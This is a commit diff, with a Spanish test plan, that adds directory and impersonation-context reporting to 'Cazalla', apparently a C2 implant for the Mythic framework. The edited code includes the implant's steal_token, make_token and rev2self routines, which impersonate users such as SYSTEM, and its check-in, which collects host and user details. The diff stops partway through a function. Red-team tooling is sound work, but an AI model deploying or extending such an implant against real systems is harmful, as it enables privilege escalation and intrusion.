Context tracking implemented
This commit is contained in:
@@ -0,0 +1,106 @@
|
|||||||
|
# Plan de Pruebas para Context Tracking
|
||||||
|
|
||||||
|
## Resumen
|
||||||
|
Context Tracking permite ver información del callback (como `cwd` e `impersonation_context`) en tabs visibles sobre el área de tasking en Mythic.
|
||||||
|
|
||||||
|
## Cambios Implementados
|
||||||
|
|
||||||
|
### 1. Variables Globales
|
||||||
|
- `gCurrentDirectory`: Mantiene el directorio actual
|
||||||
|
- `gImpersonationContext`: Mantiene el usuario impersonado
|
||||||
|
|
||||||
|
### 2. Comandos que Actualizan Contexto
|
||||||
|
- **`cd`**: Actualiza `cwd` cuando cambias de directorio
|
||||||
|
- **`steal_token`**: Actualiza `impersonation_context` cuando robas un token
|
||||||
|
- **`make_token`**: Actualiza `impersonation_context` cuando creas un token
|
||||||
|
- **`rev2self`**: Limpia `impersonation_context` cuando reviertes la impersonación
|
||||||
|
|
||||||
|
### 3. Checkin
|
||||||
|
- Incluye `cwd` inicial al hacer checkin
|
||||||
|
|
||||||
|
## Plan de Pruebas
|
||||||
|
|
||||||
|
### Prueba 1: Verificar cwd inicial en Checkin
|
||||||
|
1. Compila y despliega el agente
|
||||||
|
2. Verifica que al hacer checkin, aparezca un tab con `cwd` mostrando el directorio actual
|
||||||
|
3. **Resultado esperado**: Tab "cwd" visible con el directorio actual (ej: `C:\Users\localuser`)
|
||||||
|
|
||||||
|
### Prueba 2: Actualizar cwd con cd
|
||||||
|
1. Ejecuta `cd C:\Windows`
|
||||||
|
2. Verifica que el tab `cwd` se actualice a `C:\Windows`
|
||||||
|
3. **Resultado esperado**: Tab "cwd" cambia a `C:\Windows`
|
||||||
|
|
||||||
|
### Prueba 3: Impersonation Context con steal_token
|
||||||
|
1. Ejecuta `list_tokens` para ver tokens disponibles
|
||||||
|
2. Ejecuta `steal_token <pid>` donde `<pid>` es un proceso con privilegios elevados (ej: SYSTEM)
|
||||||
|
3. Verifica que aparezca un tab `impersonation_context` con el usuario impersonado (ej: `NT AUTHORITY\SYSTEM`)
|
||||||
|
4. **Resultado esperado**: Tab "impersonation_context" aparece con el usuario impersonado
|
||||||
|
|
||||||
|
### Prueba 4: Verificar whoami después de steal_token
|
||||||
|
1. Después de `steal_token`, ejecuta `whoami`
|
||||||
|
2. Verifica que `whoami` muestre el usuario impersonado
|
||||||
|
3. **Resultado esperado**: `whoami` muestra el usuario del token robado
|
||||||
|
|
||||||
|
### Prueba 5: Limpiar impersonation_context con rev2self
|
||||||
|
1. Después de `steal_token`, ejecuta `rev2self`
|
||||||
|
2. Verifica que el tab `impersonation_context` se limpie (desaparezca o muestre vacío)
|
||||||
|
3. Ejecuta `whoami` para verificar que volvió al usuario original
|
||||||
|
4. **Resultado esperado**: Tab "impersonation_context" se limpia, `whoami` muestra usuario original
|
||||||
|
|
||||||
|
### Prueba 6: make_token actualiza impersonation_context
|
||||||
|
1. Ejecuta `make_token domain username password`
|
||||||
|
2. Verifica que el tab `impersonation_context` se actualice con el nuevo usuario
|
||||||
|
3. **Resultado esperado**: Tab "impersonation_context" muestra el usuario del token creado
|
||||||
|
|
||||||
|
### Prueba 7: Verificar logs del translator
|
||||||
|
1. Revisa los logs del translator para ver mensajes como:
|
||||||
|
- `[CALLBACK_CONTEXT] cwd = 'C:\Windows'`
|
||||||
|
- `[CALLBACK_CONTEXT] impersonation_context = 'NT AUTHORITY\SYSTEM'`
|
||||||
|
2. **Resultado esperado**: Logs muestran los campos de callback context parseados correctamente
|
||||||
|
|
||||||
|
## Verificación de Implementación
|
||||||
|
|
||||||
|
### Verificar que los archivos se compilaron correctamente:
|
||||||
|
```bash
|
||||||
|
# En el contenedor de Mythic, verifica logs de compilación
|
||||||
|
docker logs cazalla_translator | grep -i "error\|warning" | tail -20
|
||||||
|
```
|
||||||
|
|
||||||
|
### Verificar en logs del agente:
|
||||||
|
Busca logs que incluyan:
|
||||||
|
- `[steal_token] Contexto de impersonación actualizado`
|
||||||
|
- `[make_token] Contexto de impersonación actualizado`
|
||||||
|
- `[rev2self] Contexto de impersonación limpiado`
|
||||||
|
- `Checkin: Añadido cwd inicial`
|
||||||
|
|
||||||
|
### Verificar en logs del translator:
|
||||||
|
Busca logs que incluyan:
|
||||||
|
- `[CALLBACK_CONTEXT] cwd = '...'`
|
||||||
|
- `[CALLBACK_CONTEXT] impersonation_context = '...'`
|
||||||
|
- `[CHECKIN] Callback context: cwd = '...'`
|
||||||
|
- `[CALLBACK_CONTEXT] Añadido callback context con X campos`
|
||||||
|
|
||||||
|
## Configuración en Mythic UI
|
||||||
|
|
||||||
|
1. Ve a **Settings** (configuración de usuario)
|
||||||
|
2. Busca la sección de **Tasking Context Tabs**
|
||||||
|
3. Asegúrate de que `cwd` e `impersonation_context` estén seleccionados
|
||||||
|
4. Configura colores si lo deseas
|
||||||
|
|
||||||
|
## Solución de Problemas
|
||||||
|
|
||||||
|
### Si los tabs no aparecen:
|
||||||
|
1. Verifica que los logs del translator muestren `[CALLBACK_CONTEXT]`
|
||||||
|
2. Verifica que el JSON de respuesta incluya la clave `callback` con los campos
|
||||||
|
3. Verifica la configuración de usuario en Mythic (Settings → Tasking Context Tabs)
|
||||||
|
|
||||||
|
### Si el cwd no se actualiza:
|
||||||
|
1. Verifica logs del agente: `setCurrentDirectoryContext` debería llamarse
|
||||||
|
2. Verifica que `cd` esté funcionando correctamente
|
||||||
|
3. Revisa los logs del translator para ver si se parsea el callback context
|
||||||
|
|
||||||
|
### Si impersonation_context no se actualiza:
|
||||||
|
1. Verifica que `steal_token`/`make_token` funcionen correctamente
|
||||||
|
2. Verifica logs: `setImpersonationContext` debería llamarse
|
||||||
|
3. Verifica logs del translator para ver si se parsea
|
||||||
|
|
||||||
@@ -1,6 +1,7 @@
|
|||||||
#include "SistemadeFicheros.h"
|
#include "SistemadeFicheros.h"
|
||||||
#include "paquete.h"
|
#include "paquete.h"
|
||||||
#include "transporte.h"
|
#include "transporte.h"
|
||||||
|
#include "cazalla.h" // For context tracking functions
|
||||||
|
|
||||||
/* Forward decl to avoid implicit declaration on some toolchains */
|
/* Forward decl to avoid implicit declaration on some toolchains */
|
||||||
BOOL PackageAddFormatPrintf(PPaquete package, BOOL copySize, char* fmt, ...);
|
BOOL PackageAddFormatPrintf(PPaquete package, BOOL copySize, char* fmt, ...);
|
||||||
@@ -58,6 +59,11 @@ VOID CambiarDirectorio(PAnalizador argumentos) {
|
|||||||
char dir[2048];
|
char dir[2048];
|
||||||
int length = GetCurrentDirectoryA(sizeof(dir), dir);
|
int length = GetCurrentDirectoryA(sizeof(dir), dir);
|
||||||
|
|
||||||
|
// Update global context tracking
|
||||||
|
if (length > 0) {
|
||||||
|
setCurrentDirectoryContext(dir);
|
||||||
|
}
|
||||||
|
|
||||||
PPaquete salida = nuevoPaquete(0, FALSE);
|
PPaquete salida = nuevoPaquete(0, FALSE);
|
||||||
|
|
||||||
// success
|
// success
|
||||||
@@ -67,6 +73,12 @@ VOID CambiarDirectorio(PAnalizador argumentos) {
|
|||||||
addString(salida, dir, FALSE);
|
addString(salida, dir, FALSE);
|
||||||
|
|
||||||
addBytes(respuestaTarea, (PBYTE)salida->buffer, salida->length, TRUE);
|
addBytes(respuestaTarea, (PBYTE)salida->buffer, salida->length, TRUE);
|
||||||
|
|
||||||
|
// Add callback context with updated cwd
|
||||||
|
if (length > 0) {
|
||||||
|
addCallbackContext(respuestaTarea, "cwd", dir);
|
||||||
|
}
|
||||||
|
|
||||||
mandarPaquete(respuestaTarea);
|
mandarPaquete(respuestaTarea);
|
||||||
liberarPaquete(salida);
|
liberarPaquete(salida);
|
||||||
liberarPaquete(respuestaTarea);
|
liberarPaquete(respuestaTarea);
|
||||||
|
|||||||
@@ -5,6 +5,49 @@
|
|||||||
|
|
||||||
CONFIG_CAZALLA* cazallaConfig = NULL;
|
CONFIG_CAZALLA* cazallaConfig = NULL;
|
||||||
|
|
||||||
|
/* Context tracking: Current working directory and impersonation context */
|
||||||
|
static char gCurrentDirectory[MAX_PATH] = "";
|
||||||
|
static char gImpersonationContext[256] = "";
|
||||||
|
|
||||||
|
/* Get current working directory for context tracking */
|
||||||
|
PCHAR getCurrentDirectoryContext(void) {
|
||||||
|
if (gCurrentDirectory[0] == '\0') {
|
||||||
|
// Initialize with actual current directory if not set
|
||||||
|
if (GetCurrentDirectoryA(sizeof(gCurrentDirectory), gCurrentDirectory) == 0) {
|
||||||
|
gCurrentDirectory[0] = '\0';
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return gCurrentDirectory;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Set current working directory for context tracking */
|
||||||
|
VOID setCurrentDirectoryContext(PCHAR cwd) {
|
||||||
|
if (cwd && strlen(cwd) < sizeof(gCurrentDirectory)) {
|
||||||
|
strncpy(gCurrentDirectory, cwd, sizeof(gCurrentDirectory) - 1);
|
||||||
|
gCurrentDirectory[sizeof(gCurrentDirectory) - 1] = '\0';
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Get impersonation context for context tracking */
|
||||||
|
PCHAR getImpersonationContext(void) {
|
||||||
|
return gImpersonationContext;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Set impersonation context for context tracking */
|
||||||
|
VOID setImpersonationContext(PCHAR context) {
|
||||||
|
if (context) {
|
||||||
|
strncpy(gImpersonationContext, context, sizeof(gImpersonationContext) - 1);
|
||||||
|
gImpersonationContext[sizeof(gImpersonationContext) - 1] = '\0';
|
||||||
|
} else {
|
||||||
|
gImpersonationContext[0] = '\0';
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Clear impersonation context (e.g., after rev2self) */
|
||||||
|
VOID clearImpersonationContext(void) {
|
||||||
|
gImpersonationContext[0] = '\0';
|
||||||
|
}
|
||||||
|
|
||||||
VOID cazallaMain() {
|
VOID cazallaMain() {
|
||||||
_inf("Inicializando configuración de Cazalla");
|
_inf("Inicializando configuración de Cazalla");
|
||||||
|
|
||||||
|
|||||||
@@ -29,6 +29,13 @@ typedef struct {
|
|||||||
|
|
||||||
extern PCONFIG_CAZALLA cazallaConfig;
|
extern PCONFIG_CAZALLA cazallaConfig;
|
||||||
|
|
||||||
|
/* Context tracking functions */
|
||||||
|
PCHAR getCurrentDirectoryContext(void);
|
||||||
|
VOID setCurrentDirectoryContext(PCHAR cwd);
|
||||||
|
PCHAR getImpersonationContext(void);
|
||||||
|
VOID setImpersonationContext(PCHAR context);
|
||||||
|
VOID clearImpersonationContext(void);
|
||||||
|
|
||||||
VOID setUUID(PCHAR newUUID);
|
VOID setUUID(PCHAR newUUID);
|
||||||
VOID cazallaMain(void);
|
VOID cazallaMain(void);
|
||||||
|
|
||||||
|
|||||||
@@ -1,6 +1,8 @@
|
|||||||
#include "checkin.h"
|
#include "checkin.h"
|
||||||
#include "cazalla.h"
|
#include "cazalla.h"
|
||||||
#include "socks_manager.h"
|
#include "socks_manager.h"
|
||||||
|
#include "paquete.h" // For addCallbackContext
|
||||||
|
#include "identity.h" // For IdentityGetUserInfo
|
||||||
|
|
||||||
#pragma comment(lib, "iphlpapi.lib")
|
#pragma comment(lib, "iphlpapi.lib")
|
||||||
#include <iphlpapi.h>
|
#include <iphlpapi.h>
|
||||||
@@ -146,6 +148,68 @@ PAnalizador checkin() {
|
|||||||
addString(checkin, obtenerNombreProceso(), TRUE);
|
addString(checkin, obtenerNombreProceso(), TRUE);
|
||||||
addString(checkin, (PCHAR)"1.1.1.1", TRUE);
|
addString(checkin, (PCHAR)"1.1.1.1", TRUE);
|
||||||
|
|
||||||
|
// Add callback context with initial cwd and impersonation_context
|
||||||
|
// Get current directory and add to callback context
|
||||||
|
char initial_cwd[MAX_PATH] = {0};
|
||||||
|
if (GetCurrentDirectoryA(sizeof(initial_cwd), initial_cwd) > 0) {
|
||||||
|
setCurrentDirectoryContext(initial_cwd); // Initialize global context
|
||||||
|
addCallbackContext(checkin, "cwd", initial_cwd);
|
||||||
|
_inf("Checkin: Añadido cwd inicial: %s", initial_cwd);
|
||||||
|
} else {
|
||||||
|
_wrn("Checkin: No se pudo obtener el directorio actual");
|
||||||
|
}
|
||||||
|
|
||||||
|
// Get current user context (process token) for impersonation_context
|
||||||
|
// This will show the user even if there's no impersonation active
|
||||||
|
HANDLE hProcessToken = NULL;
|
||||||
|
char initial_user[512] = {0};
|
||||||
|
BOOL user_context_added = FALSE;
|
||||||
|
|
||||||
|
if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hProcessToken)) {
|
||||||
|
if (IdentityGetUserInfo(hProcessToken, initial_user, sizeof(initial_user))) {
|
||||||
|
setImpersonationContext(initial_user); // Initialize global context
|
||||||
|
addCallbackContext(checkin, "impersonation_context", initial_user);
|
||||||
|
_inf("Checkin: Añadido impersonation_context inicial (process token): %s", initial_user);
|
||||||
|
user_context_added = TRUE;
|
||||||
|
} else {
|
||||||
|
_wrn("Checkin: IdentityGetUserInfo falló");
|
||||||
|
}
|
||||||
|
CloseHandle(hProcessToken);
|
||||||
|
} else {
|
||||||
|
DWORD error = GetLastError();
|
||||||
|
_wrn("Checkin: OpenProcessToken falló, error=%lu, usando fallback", error);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!user_context_added) {
|
||||||
|
// If we can't get process token, use the username from obtenerUsuarios()
|
||||||
|
// Format: domain\username (we'll use hostname as domain if needed)
|
||||||
|
char* username = obtenerUsuarios();
|
||||||
|
char* domain = obtenerDominio();
|
||||||
|
if (username && strlen(username) > 0) {
|
||||||
|
if (domain && wcslen(domain) > 0) {
|
||||||
|
// Convert domain from wide char to char
|
||||||
|
char domain_narrow[256] = {0};
|
||||||
|
WideCharToMultiByte(CP_ACP, 0, domain, -1, domain_narrow, sizeof(domain_narrow), NULL, NULL);
|
||||||
|
snprintf(initial_user, sizeof(initial_user), "%s\\%s", domain_narrow, username);
|
||||||
|
} else {
|
||||||
|
// Use hostname as domain if domain is empty
|
||||||
|
char* hostname = obtenerHostame();
|
||||||
|
if (hostname && strlen(hostname) > 0) {
|
||||||
|
snprintf(initial_user, sizeof(initial_user), "%s\\%s", hostname, username);
|
||||||
|
} else {
|
||||||
|
strncpy(initial_user, username, sizeof(initial_user) - 1);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
setImpersonationContext(initial_user);
|
||||||
|
addCallbackContext(checkin, "impersonation_context", initial_user);
|
||||||
|
_inf("Checkin: Añadido impersonation_context inicial (fallback): %s", initial_user);
|
||||||
|
} else {
|
||||||
|
_wrn("Checkin: No se pudo obtener username para impersonation_context");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
_inf("Checkin: Tamaño del paquete antes de enviar: %zu bytes", checkin->length);
|
||||||
|
|
||||||
// === When mythic_encrypts=True, agent sends plaintext ===
|
// === When mythic_encrypts=True, agent sends plaintext ===
|
||||||
// The C2 profile (HTTP) handles encryption at HTTP layer
|
// The C2 profile (HTTP) handles encryption at HTTP layer
|
||||||
// No need for ECC key exchange in checkin
|
// No need for ECC key exchange in checkin
|
||||||
|
|||||||
@@ -903,4 +903,31 @@ VOID addCallbackToken(PPaquete paquete, PCHAR action, PCHAR host, UINT32 token_i
|
|||||||
|
|
||||||
// Token ID
|
// Token ID
|
||||||
addInt32(paquete, token_id);
|
addInt32(paquete, token_id);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Helper function to add callback context (cwd, impersonation_context, etc.)
|
||||||
|
// Format: [0xF0 marker][field_name_len:4][field_name][field_value_len:4][field_value]
|
||||||
|
// Can be called multiple times to add multiple fields
|
||||||
|
VOID addCallbackContext(PPaquete paquete, PCHAR field_name, PCHAR field_value) {
|
||||||
|
if (!paquete || !field_name) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Callback context marker (0xF0) - Note: 0xF1 is CHECKIN action, so we use 0xF0
|
||||||
|
// This marker indicates callback context data
|
||||||
|
addByte(paquete, 0xF0);
|
||||||
|
|
||||||
|
// Field name length and value (e.g., "cwd", "impersonation_context")
|
||||||
|
SIZE_T name_len = strlen(field_name);
|
||||||
|
addInt32(paquete, (UINT32)name_len);
|
||||||
|
addString(paquete, field_name, FALSE);
|
||||||
|
|
||||||
|
// Field value (optional - use empty string if NULL)
|
||||||
|
if (field_value) {
|
||||||
|
SIZE_T value_len = strlen(field_value);
|
||||||
|
addInt32(paquete, (UINT32)value_len);
|
||||||
|
addString(paquete, field_value, FALSE);
|
||||||
|
} else {
|
||||||
|
addInt32(paquete, 0);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
@@ -72,4 +72,10 @@ VOID addToken(PPaquete paquete, UINT32 token_id, PCHAR host, PCHAR description,
|
|||||||
/* action must be "add" or "remove" */
|
/* action must be "add" or "remove" */
|
||||||
VOID addCallbackToken(PPaquete paquete, PCHAR action, PCHAR host, UINT32 token_id);
|
VOID addCallbackToken(PPaquete paquete, PCHAR action, PCHAR host, UINT32 token_id);
|
||||||
|
|
||||||
|
/* Callback context helper: for updating callback context (cwd, impersonation_context, etc.) */
|
||||||
|
/* Format: [0xF0 marker][field_name_len:4][field_name][field_value_len:4][field_value]... */
|
||||||
|
/* Can be called multiple times to add multiple fields */
|
||||||
|
/* Common fields: "cwd", "impersonation_context", "pid", "sleep_info", "extra_info" */
|
||||||
|
VOID addCallbackContext(PPaquete paquete, PCHAR field_name, PCHAR field_value);
|
||||||
|
|
||||||
#endif
|
#endif
|
||||||
@@ -5,6 +5,7 @@
|
|||||||
#include "analizador.h"
|
#include "analizador.h"
|
||||||
#include "identity.h"
|
#include "identity.h"
|
||||||
#include "debug.h"
|
#include "debug.h"
|
||||||
|
#include "cazalla.h" // For context tracking functions
|
||||||
#include <tlhelp32.h>
|
#include <tlhelp32.h>
|
||||||
#include <psapi.h>
|
#include <psapi.h>
|
||||||
|
|
||||||
@@ -480,6 +481,10 @@ VOID RobarToken(PAnalizador argumentos) {
|
|||||||
DWORD hostname_len = sizeof(hostname);
|
DWORD hostname_len = sizeof(hostname);
|
||||||
GetComputerNameA(hostname, &hostname_len);
|
GetComputerNameA(hostname, &hostname_len);
|
||||||
|
|
||||||
|
// Update global impersonation context
|
||||||
|
setImpersonationContext(account_name);
|
||||||
|
_inf("[steal_token] Contexto de impersonación actualizado: %s", account_name);
|
||||||
|
|
||||||
PPaquete respuestaFinal = nuevoPaquete(POST_RESPONSE, TRUE);
|
PPaquete respuestaFinal = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||||
addString(respuestaFinal, tareaUuid, FALSE);
|
addString(respuestaFinal, tareaUuid, FALSE);
|
||||||
PPaquete salidaFinal = nuevoPaquete(0, FALSE);
|
PPaquete salidaFinal = nuevoPaquete(0, FALSE);
|
||||||
@@ -491,6 +496,9 @@ VOID RobarToken(PAnalizador argumentos) {
|
|||||||
snprintf(artifact_msg, sizeof(artifact_msg), "Process Token Impersonation: PID %lu -> User: %s", pid, account_name);
|
snprintf(artifact_msg, sizeof(artifact_msg), "Process Token Impersonation: PID %lu -> User: %s", pid, account_name);
|
||||||
addArtifact(respuestaFinal, "Token Impersonation", artifact_msg);
|
addArtifact(respuestaFinal, "Token Impersonation", artifact_msg);
|
||||||
|
|
||||||
|
// Add callback context with impersonation_context
|
||||||
|
addCallbackContext(respuestaFinal, "impersonation_context", account_name);
|
||||||
|
|
||||||
// Add callback token registration
|
// Add callback token registration
|
||||||
addCallbackToken(respuestaFinal, "add", hostname, token_id);
|
addCallbackToken(respuestaFinal, "add", hostname, token_id);
|
||||||
|
|
||||||
@@ -767,6 +775,10 @@ VOID CrearToken(PAnalizador argumentos) {
|
|||||||
snprintf(account_name, sizeof(account_name), "%s\\%s", domain_safe, user_safe);
|
snprintf(account_name, sizeof(account_name), "%s\\%s", domain_safe, user_safe);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Update global impersonation context
|
||||||
|
setImpersonationContext(account_name);
|
||||||
|
_inf("[make_token] Contexto de impersonación actualizado: %s", account_name);
|
||||||
|
|
||||||
// Generate token_id (simple hash of user+domain)
|
// Generate token_id (simple hash of user+domain)
|
||||||
// Use existing domain_len and user_len variables (they were set by getString)
|
// Use existing domain_len and user_len variables (they were set by getString)
|
||||||
// If needed, recalculate lengths using strlen for actual string length (not buffer length)
|
// If needed, recalculate lengths using strlen for actual string length (not buffer length)
|
||||||
@@ -791,6 +803,9 @@ VOID CrearToken(PAnalizador argumentos) {
|
|||||||
snprintf(artifact_msg, sizeof(artifact_msg), "New Logon: User: %s\\%s (LogonType: %lu)", domain_safe, user_safe, logon_type);
|
snprintf(artifact_msg, sizeof(artifact_msg), "New Logon: User: %s\\%s (LogonType: %lu)", domain_safe, user_safe, logon_type);
|
||||||
addArtifact(respuestaFinal, "Token Creation", artifact_msg);
|
addArtifact(respuestaFinal, "Token Creation", artifact_msg);
|
||||||
|
|
||||||
|
// Add callback context with impersonation_context
|
||||||
|
addCallbackContext(respuestaFinal, "impersonation_context", account_name);
|
||||||
|
|
||||||
// Register token with callback
|
// Register token with callback
|
||||||
addCallbackToken(respuestaFinal, "add", hostname, token_id);
|
addCallbackToken(respuestaFinal, "add", hostname, token_id);
|
||||||
|
|
||||||
@@ -816,11 +831,19 @@ VOID RevertirToken(PAnalizador argumentos) {
|
|||||||
CloseHandle(gImpersonationToken);
|
CloseHandle(gImpersonationToken);
|
||||||
gImpersonationToken = NULL;
|
gImpersonationToken = NULL;
|
||||||
|
|
||||||
|
// Clear global impersonation context
|
||||||
|
clearImpersonationContext();
|
||||||
|
_inf("[rev2self] Contexto de impersonación limpiado");
|
||||||
|
|
||||||
PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE);
|
PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||||
addString(respuesta, tareaUuid, FALSE);
|
addString(respuesta, tareaUuid, FALSE);
|
||||||
PPaquete salida = nuevoPaquete(0, FALSE);
|
PPaquete salida = nuevoPaquete(0, FALSE);
|
||||||
PackageAddFormatPrintf(salida, FALSE, "[rev2self] Token revertido exitosamente\n");
|
PackageAddFormatPrintf(salida, FALSE, "[rev2self] Token revertido exitosamente\n");
|
||||||
addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
|
addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
|
||||||
|
|
||||||
|
// Add callback context with empty impersonation_context to clear it
|
||||||
|
addCallbackContext(respuesta, "impersonation_context", "");
|
||||||
|
|
||||||
mandarPaquete(respuesta);
|
mandarPaquete(respuesta);
|
||||||
liberarPaquete(salida);
|
liberarPaquete(salida);
|
||||||
liberarPaquete(respuesta);
|
liberarPaquete(respuesta);
|
||||||
|
|||||||
@@ -53,16 +53,55 @@ def checkIn(data):
|
|||||||
# Retrieve External IP
|
# Retrieve External IP
|
||||||
externalIP, data = getBytesWithSize(data)
|
externalIP, data = getBytesWithSize(data)
|
||||||
|
|
||||||
# Nota: ECC Public Key ya no se usa (cifrado AESPSK se inyecta en build time)
|
# Parse callback context from remaining data if present
|
||||||
# Leemos y descartamos la longitud (4 bytes) que siempre será 0
|
# Format: [0xF0 marker][field_name_len:4][field_name][field_value_len:4][field_value]...
|
||||||
try:
|
print(f"[CHECKIN] Datos restantes después de parsear campos estándar: {len(data)} bytes")
|
||||||
key_len = int.from_bytes(data[:4], "big")
|
if len(data) > 0:
|
||||||
data = data[4:]
|
print(f"[CHECKIN] Primeros bytes de datos restantes: {data[:min(20, len(data))].hex()}")
|
||||||
if key_len > 0:
|
|
||||||
# Descarta los datos de la clave si existen (código legacy)
|
callback_context = {}
|
||||||
data = data[key_len:]
|
while len(data) >= 5: # At least: marker (1) + name_len (4)
|
||||||
except:
|
if data[0] == 0xF0:
|
||||||
pass
|
# Callback context marker found
|
||||||
|
offset = 1
|
||||||
|
|
||||||
|
# Extract field name
|
||||||
|
if len(data) < offset + 4:
|
||||||
|
break
|
||||||
|
name_len = int.from_bytes(data[offset:offset+4], 'big')
|
||||||
|
offset += 4
|
||||||
|
|
||||||
|
if name_len == 0 or len(data) < offset + name_len:
|
||||||
|
break
|
||||||
|
|
||||||
|
try:
|
||||||
|
field_name = data[offset:offset+name_len].decode('cp850', errors='ignore')
|
||||||
|
offset += name_len
|
||||||
|
except:
|
||||||
|
break
|
||||||
|
|
||||||
|
# Extract field value
|
||||||
|
if len(data) < offset + 4:
|
||||||
|
break
|
||||||
|
value_len = int.from_bytes(data[offset:offset+4], 'big')
|
||||||
|
offset += 4
|
||||||
|
|
||||||
|
field_value = ""
|
||||||
|
if value_len > 0:
|
||||||
|
if len(data) < offset + value_len:
|
||||||
|
break
|
||||||
|
try:
|
||||||
|
field_value = data[offset:offset+value_len].decode('cp850', errors='ignore')
|
||||||
|
offset += value_len
|
||||||
|
except:
|
||||||
|
field_value = ""
|
||||||
|
|
||||||
|
callback_context[field_name] = field_value
|
||||||
|
print(f"[CHECKIN] Callback context: {field_name} = '{field_value}'")
|
||||||
|
data = data[offset:]
|
||||||
|
else:
|
||||||
|
# No more callback context markers
|
||||||
|
break
|
||||||
|
|
||||||
dataJson = {
|
dataJson = {
|
||||||
"action": "checkin",
|
"action": "checkin",
|
||||||
@@ -77,7 +116,21 @@ def checkIn(data):
|
|||||||
"architecture": archOS,
|
"architecture": archOS,
|
||||||
"externalIP": externalIP.decode('cp850'),
|
"externalIP": externalIP.decode('cp850'),
|
||||||
}
|
}
|
||||||
|
|
||||||
|
# Add callback context if present
|
||||||
|
# For checkin, callback context is added directly to the root message (not in a "callback" key)
|
||||||
|
# This matches Mythic's documentation: callback fields can be at root level for checkin
|
||||||
|
if callback_context:
|
||||||
|
for key, value in callback_context.items():
|
||||||
|
dataJson[key] = value
|
||||||
|
print(f"[CHECKIN] Añadido campo '{key}' = '{value}' al JSON de checkin")
|
||||||
|
print(f"[CHECKIN] Total callback context añadido: {len(callback_context)} campos: {list(callback_context.keys())}")
|
||||||
|
else:
|
||||||
|
print(f"[CHECKIN] No se encontró callback context en el mensaje de checkin")
|
||||||
|
|
||||||
|
# Debug: Print final JSON structure
|
||||||
|
print(f"[CHECKIN] JSON final tiene {len(dataJson)} campos: {list(dataJson.keys())}")
|
||||||
|
|
||||||
return dataJson
|
return dataJson
|
||||||
|
|
||||||
|
|
||||||
@@ -401,7 +454,7 @@ def postResponse(data):
|
|||||||
# Verify that remaining_data starts with a marker if we expect markers
|
# Verify that remaining_data starts with a marker if we expect markers
|
||||||
# This helps detect protocol issues
|
# This helps detect protocol issues
|
||||||
if len(remaining_data) > 0:
|
if len(remaining_data) > 0:
|
||||||
KNOWN_MARKERS = {0xFF, 0xFE, 0xFD, 0xFC, 0xF9, 0xF8, 0xF7, 0xF6, 0xF4, 0xF3}
|
KNOWN_MARKERS = {0xFF, 0xFE, 0xFD, 0xFC, 0xF9, 0xF8, 0xF7, 0xF6, 0xF4, 0xF3, 0xF2, 0xF0}
|
||||||
if remaining_data[0] not in KNOWN_MARKERS and len(remaining_data) > 0:
|
if remaining_data[0] not in KNOWN_MARKERS and len(remaining_data) > 0:
|
||||||
# This might be part of the output that wasn't properly extracted
|
# This might be part of the output that wasn't properly extracted
|
||||||
# This could happen if output_len was incorrectly interpreted
|
# This could happen if output_len was incorrectly interpreted
|
||||||
@@ -430,6 +483,7 @@ def postResponse(data):
|
|||||||
tokens_data = []
|
tokens_data = []
|
||||||
callback_tokens_data = []
|
callback_tokens_data = []
|
||||||
keylogs_data = []
|
keylogs_data = []
|
||||||
|
callback_context_data = {} # Dictionary to store callback context fields (cwd, impersonation_context, etc.)
|
||||||
|
|
||||||
print(f"[PARSER] Iniciando parsing de marcadores. remaining_data length: {len(remaining_data)} bytes")
|
print(f"[PARSER] Iniciando parsing de marcadores. remaining_data length: {len(remaining_data)} bytes")
|
||||||
if len(remaining_data) > 0:
|
if len(remaining_data) > 0:
|
||||||
@@ -978,6 +1032,47 @@ def postResponse(data):
|
|||||||
"token_id": token_id
|
"token_id": token_id
|
||||||
})
|
})
|
||||||
print(f"[CALLBACK_TOKEN] action='{action}', host='{host}', token_id={token_id}")
|
print(f"[CALLBACK_TOKEN] action='{action}', host='{host}', token_id={token_id}")
|
||||||
|
remaining_data = remaining_data[offset:]
|
||||||
|
elif remaining_data[0] == 0xF0:
|
||||||
|
# Callback context marker found
|
||||||
|
# Format: [0xF0 marker][field_name_len:4][field_name][field_value_len:4][field_value]
|
||||||
|
offset = 1
|
||||||
|
|
||||||
|
# Extract field name
|
||||||
|
if len(remaining_data) < offset + 4:
|
||||||
|
break
|
||||||
|
name_len = int.from_bytes(remaining_data[offset:offset+4], 'big')
|
||||||
|
offset += 4
|
||||||
|
|
||||||
|
if name_len == 0 or len(remaining_data) < offset + name_len:
|
||||||
|
break
|
||||||
|
|
||||||
|
try:
|
||||||
|
field_name = remaining_data[offset:offset+name_len].decode('cp850', errors='ignore')
|
||||||
|
offset += name_len
|
||||||
|
except:
|
||||||
|
break
|
||||||
|
|
||||||
|
# Extract field value
|
||||||
|
if len(remaining_data) < offset + 4:
|
||||||
|
break
|
||||||
|
value_len = int.from_bytes(remaining_data[offset:offset+4], 'big')
|
||||||
|
offset += 4
|
||||||
|
|
||||||
|
field_value = ""
|
||||||
|
if value_len > 0:
|
||||||
|
if len(remaining_data) < offset + value_len:
|
||||||
|
break
|
||||||
|
try:
|
||||||
|
field_value = remaining_data[offset:offset+value_len].decode('cp850', errors='ignore')
|
||||||
|
offset += value_len
|
||||||
|
except:
|
||||||
|
field_value = ""
|
||||||
|
|
||||||
|
# Store callback context field
|
||||||
|
callback_context_data[field_name] = field_value
|
||||||
|
print(f"[CALLBACK_CONTEXT] {field_name} = '{field_value}'")
|
||||||
|
|
||||||
remaining_data = remaining_data[offset:]
|
remaining_data = remaining_data[offset:]
|
||||||
else:
|
else:
|
